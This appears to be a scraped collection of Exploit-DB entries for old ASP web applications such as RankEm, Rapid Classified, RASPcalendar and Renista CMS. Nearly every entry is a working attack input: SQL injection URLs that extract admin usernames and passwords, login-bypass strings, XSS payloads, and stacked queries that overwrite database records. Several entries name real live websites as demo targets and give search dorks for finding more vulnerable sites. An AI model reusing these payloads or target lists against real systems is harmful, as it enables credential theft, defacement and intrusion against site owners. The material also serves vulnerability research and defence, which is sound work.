deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7349
Description: RankEm - 'siteID' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-05
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : RankEm
#download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip


#Exploit :
http://target.com/rankup.asp?siteID=convert(int,(select+@@version));--

#Live Demo
http://www.top50.co.nz/rankup.asp?siteID=convert(int,(select+top+1+siteUserName+from+TBLsites));--

http://www.top50.co.nz/rankup.asp?siteID=convert(int,(select+top+1+sitePassword+from+TBLsites));--

#Greetz For W!nd[O]ws my partner :)

###########################################################################

# milw0rm.com [2008-12-05]
Exploit-DB #7350
Description: Rankem - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-12-05
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : RankEm
#download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip



#Exploit :
http://target.com/login.asp

username : ' or '1'='1
password : ' or '1'='1


#Live Demo :
http://www.top50.co.nz/login.asp

http://www.truckstop.nu/login.asp
  

username : ' or '1'='1
password : ' or '1'='1
 

#Greetz For W!nd[O]ws my partner :)

###########################################################################

# milw0rm.com [2008-12-05]
Exploit-DB #30747
Description: Rapid Classified - 'AgencyCatResult.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-08
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/26379/info

Rapid Classified is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/agencyCatResult.asp?cmbCat='%20UPDATE%20rftCategory%20set%20Category%20=%20'Aria-Security Team';--
Exploit-DB #29137
Description: Rapid Classified 3.1 - 'advsearch.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21197/info
    
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
    
http://www.example.com/advsearch.asp?zipr=1&D1=0&D4=1&zipOpt=20&dosearch=[xss]
Exploit-DB #29136
Description: Rapid Classified 3.1 - 'reply.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21197/info
   
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
http://www.example.com/reply.asp?id=[PII_REDACTED]0100001&name=[xss]
Exploit-DB #29135
Description: Rapid Classified 3.1 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21197/info
  
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/search.asp?categoryName=1&SH1=[xss]
Exploit-DB #29133
Description: Rapid Classified 3.1 - 'viewad.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21197/info

Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/viewad.asp?id='[sql]
Exploit-DB #29134
Description: Rapid Classified 3.1 - 'view_print.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21197/info
 
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/view_print.asp?id=[xss]
Exploit-DB #29500
Description: RASPcalendar 1.01 (ASP) - Admin Login
Type: webapps
Platform: asp
Date: 2013-11-08
Author: Hackeri-AL UAH-Crew

Exploit:
---------------------------------------------------
RASPcalendar 1.01 [ASP] Admin Login Vlunerabilities
---------------------------------------------------
Author          : Hackeri-AL
Date            : 06-11-2013
Vendor Homepage : http://www.rttucson.com/files.html
Software link   : http://www.rttucson.com/RASPcalendar.zip
Verison         : 1.01
Tested On       : Windows XP
------------------------------------------------------------

Google Dork: allinurl:RASPcalendar "powered by RASPcalendar"

------------------------------------------------------------

Example  : http://www.usfim.it/RASPcalendar/
         : http://site.com/events
         : http://site.com/calendar
         : etc...

Go to    : http://www.usfim.it/RASPcalendar/admin/

UserName : 1'or'1
PassWord : 1'or'1

Login Success Fully :D

------------------------------------------------------------

Vuln sites demo :

http://www.usfim.it/RASPcalendar/admin
http://www.davemitchellassociates.com/events/admin
http://www.bradandrebecca.com/Calendar/admin
http://www.hlubline.com/pt/calendar/admin

------------------------------------------------------------

Found By Hackeri-AL , UAH-Crew Group 2009-2013

UNITED ALBANIAN HACKERS , Thnx to LoocK3D & b4cKd00r ~

[~] Legends Of Albania

------------------------------------------------------------
Exploit-DB #12701
Description: Rave Creations/UHM - 'artists.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-05-22
Author: Ra3cH

Exploit:
************************************************************
**      (artists.asp) SQL Injection Vulnerability 
************************************************************
**  Prodcut:        Rave Creations/UHM     
**  Home   :         N/A
**  Vunlerability :        SQL Injection
**  Risk  :        High
**  Dork :         "Sitedesign by: Dieleman www.dieleman.nl - Copyright © 2010"
************************************************************
** Discovred by:    Ra3cH
** From           :    Algeria
** Contact     :     e51@hotmail.fr
** *********************************************************
** Greetz to :     ALLAH
**         All Members of  http://www.DZ4All.cOm/Cc
**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & n2n & ..... 
************************************************************
**  Exploit:
**
**  http://[PATH]/artists.asp?id=(SQL)
**
**  SQL=union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from users
**  
************************************************************
**  Exemple:
**
**
**  http://[site]/artists.asp?id=24%20union%20select%201,username,userpass,4,5,6,7,8,9,10,11,12,13%20from%20users
**  
***********************************************************
Exploit-DB #36599
Description: Raven 1.0 - 'connector.asp' Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2012-01-21
Author: HELLBOY

Exploit:
source: https://www.securityfocus.com/bid/51631/info

Raven is prone to a vulnerability that lets an attacker upload and execute arbitrary script code in the context of the affected webserver process. The issue occurs because the application fails to sufficiently sanitize user-supplied input.

Raven 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[patch]/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/

http://www.example.com/forum/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/
Exploit-DB #3060
Description: RBlog 1.0 - 'admin.mdb' Remote Password Disclosure
Type: webapps
Platform: asp
Date: 2007-01-01
Author: Aria-Security Team

Exploit:
#<Aria-Security Team>
#<Happy New Year!!>
#<Aria-Security.com For English>
#<Aria-Security.net For Parsi>
#Discovered: Aria-Security Team
#Vendor: http://mike.dewolfe.bc.ca/scripts/rblog/
#Risk: Low
#Type:Remote Database Download
#PoC:
#
#http://TARGET/path/data/admin.mdb
#http://TARGET/path/data/rblog.mdb
#
#Contact: advisory@aria-security.net

# milw0rm.com [2007-01-01]
Exploit-DB #30428
Description: Real Estate Listing Website Application Template Login Dialog - SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-28
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25115/info

Real Estate Listing Website Application Template is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x
Exploit-DB #5763
Description: real estate Web site 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-06-09
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+           Real Estate Web Site 1.0 (SQL/XSS) Multiple Remote Vulnerabilities       +==--
--==+====================================================================================+==--
                          - dreaming of necessity is reason to comply -


[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Software: Real Estate Web Site 1.0
[~] HomePage: http://www.real-estate-website.org/
[~] Exploit: Multiple Remote Vulnerabilities [High]

[~] Dork: "powered by real-estate-website"

[+] Cross Site Scripting:

[~] Vuln file: location.asp
[~] Exploit: http://localhost/PATH/location.asp?name=[XSS]
[~] Example: http://localhost/PATH/location.asp?name="><script>alert('JosS')</script>

[+] Remote SQL Injection:

[~] Vuln file: location.asp
[~] Exploit: http://localhost/PATH/location.asp?name=JosS&location=[SQL]
[~] Example: IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'done')%00


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-06-09]
Exploit-DB #31891
Description: Real Estate Website 1.0 - 'location.asp' Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-06-09
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/29612/info

Real Estate Website is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Real Estate Website 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/PATH/location.asp?name="><script>alert('JosS')</script> http://www.example.com/PATH/location.asp?name=JosS&location=IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'done')%00
Exploit-DB #13861
Description: Real-time ASP Calendar - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-13
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################### 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Real-time ASP Calendar SQL Vulnerability
Vendor url:http://www.codewidgets.com
Version:1.0
Cost: $10 USD
Published: 2010-06-14
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Real-time ASP Calendar Platform: Active Server Pages Source Code &
Documentation Included. To change the appearance of the calendar use the
Style Settings found in the document for the different elements of the
calendar. Code: ASP 3.0 & VBScript


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:http://server/calendar.asp?dt=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #10476
Description: RecipePal 1.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (how_recipe.asp ID) BL!ND SQL Injection Vulnerability
[?]
[~] Vendor: www.datachecknh.com
[?]
[?] Software:RecipePal v1.0
[? ]Price : $9.95
[?] author: ((R3d D3v!L))
[?]?.?.?
[?] Date: 15.12.2009
[?]T!ME: 07:10 pm
[?] Home: WwW.xp10.ME
[?]
[?] contact: X@hotmail.co.jp
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[?] Exploit:

[?] TrUE : how_recipe.asp?ID=5313+and+1=1

[?] FALSE : how_recipe.asp?ID=5313+and+1=2


[?]demo:


[?]http://server/[path]/show_recipe.asp?ID=>>DEV!L BL!ND<<

N073:
uSE y0UR M!ND 70 MAKE MORE THAN ATTACK!NG ;)


[~]-----------------------------{0ffs3c}-----------------------------------------------------

[~] Greetz tO: dolly & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #17711
Description: Redlab CMS - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2011-08-22
Author: tempe_mendoan

Exploit:
[~]Title      				   : Site by Redlab Multiple Vulnerabilities
[~]Vendor or Software Link:    		   : http://www.redlab.net/ 
[~]Author  			           : tempe_mendoan
[~]Contact  				   : devilzc0de.tempe@gmail.com
[~]Google Dork				   : inurl:"gorengan tempe" intext:"Site by Redlab Co., Ltd"
					
############################################## 
===[ POC ]===
 
[»] http://website/[path]/careers-detail.asp?id=[SQL]

[»] http://website/[path]/publications.asp?type=[SQL]

[»] http://website/[path]/WhatNew.asp?page=&id=[SQL]

[»] http://website/[path]/gallery.asp?cid=[SQL]
##############################################

Greats T0 :

./ And All My Friend 

Thanks :

./ kang r3m1ck atas ilmu tentang wordpress nya 
./ mas kaMz lan mas Farhatz suwun yo mas :D
./ Kang chaer yang selalu memberi semangat
./ AdeYonatan yang menemani buka puasa dengan tempe mendoan =))
./ Mas v3n0m yang menemani twitteran 
./ my Love Dyla semoga cepat sembuh ya :*
Exploit-DB #12664
Description: Renista CMS - SQL Injection
Type: webapps
Platform: asp
Date: 2010-05-20
Author: Amir Afghanian

Exploit:
Author:Amir Afghanian 
Discovered by :Amir Afghanian
My Email: Www.hack.net@gmail.com
my Y!ID: Amir_Coder
My Home page : www.shabgard.org
My Nice name : TakFanar
============
Renista CMS BUG		
Only For NOTIFICATION	
==================
Test on CMS Owner site :http://www.rayaco.com	
					
# db name :
http://server/rtl/Default.aspx?ln=Fa&id=3' and 1=convert(int,db_name())--

# cont user :
http://server/rtl/Default.aspx?ln=Fa&id=3' and 1=convert(int,(SELECT TOP 1 cast(count(*) as nvarchar(4000))%2bchar(126) FROM Portal_BehPardazco..TBAdmin ))--

# username :
http://server/rtl/Default.aspx?ln=Fa&id=3' and 1=convert(int,(SELECT TOP 1 cast(UserName as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc))--

# password :
http://server/rtl/Default.aspx?ln=Fa&id=3' and 1=convert(int,(SELECT TOP 1 cast(Password as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc))--
# name :
http://server/rtl/Default.aspx?ln=Fa&id=3' and 1=convert(int,(SELECT TOP 1 cast(Name as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc))--
========================
I tried and finally find bug at this CMS ( Renista ) but i dont wanna any damage for the company, just for fun and NOTIFICATION .

Special thanks to llvllr_special ,shabgard.org,Emperor, and other Iranian Hecker ...
Contact me : www.hack.net@gmail.com
Exploit-DB #2908
Description: Request For Travel 1.0 - 'product' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-09
Author: ajann

Exploit:
*************************************************************************************
# Title   :  Request For Travel 1.0 (product) | Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# $$$     :  $8,000

*************************************************************************************


[[SQL]]]

###http://[target]/[path]//ProductDetails.asp=[SQL]

Example:
-> All News Title Changed to = "kro"

//ProductDetails.asp?from=desc&mod=region&CID=-1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'--

-> Just NewsId Title Changed to = "kro"
//ProductDetails.asp?from=desc&mod=region&CID=-1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'%20where%20NewsID=2--

[[/SQL]]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09]